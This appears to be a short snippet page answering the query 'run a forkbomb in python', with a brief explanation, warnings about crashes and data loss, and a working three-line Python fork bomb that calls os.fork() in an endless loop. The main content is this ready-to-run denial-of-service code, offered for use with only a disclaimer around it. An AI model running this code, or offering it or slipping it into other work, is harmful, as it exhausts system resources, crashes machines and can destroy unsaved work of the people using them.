run a forkbomb in python

Disclaimer: running a forkbomb can crash your system and cause data loss if unsaved work is present. Use at your own risk and in a controlled environment.

A forkbomb is a type of denial of service attack that causes a system to crash or become unresponsive. In Python, a forkbomb can be implemented using the os.fork() function.

main.py
import os

while True:
    os.fork()
37 chars
5 lines

This code creates an infinite loop that continuously forks new child processes until the system runs out of resources and crashes.

Again, running this code can have serious consequences and should only be used for educational or testing purposes in a controlled environment.

gistlibby LogSnag